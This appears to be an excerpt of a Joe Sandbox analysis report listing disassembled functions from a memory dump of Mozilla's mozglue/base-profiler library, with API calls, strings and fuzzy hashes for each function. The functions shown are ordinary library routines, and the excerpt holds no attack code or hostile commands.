Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

|Enabled, xrefs: 6C50D81E
WMl, xrefs: 6C50D5D9, 6C50D63F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

CoInitializeSecurity, xrefs: 6C4E20C7
combase.dll, xrefs: 6C4E20A9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

CoCreateInstance, xrefs: 6C4E1FF7
combase.dll, xrefs: 6C4E1FD9

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

CoInitializeEx, xrefs: 6C4E0F36
combase.dll, xrefs: 6C4E0F18

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4E0E9B
kernel32.dll, xrefs: 6C4E0E7D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

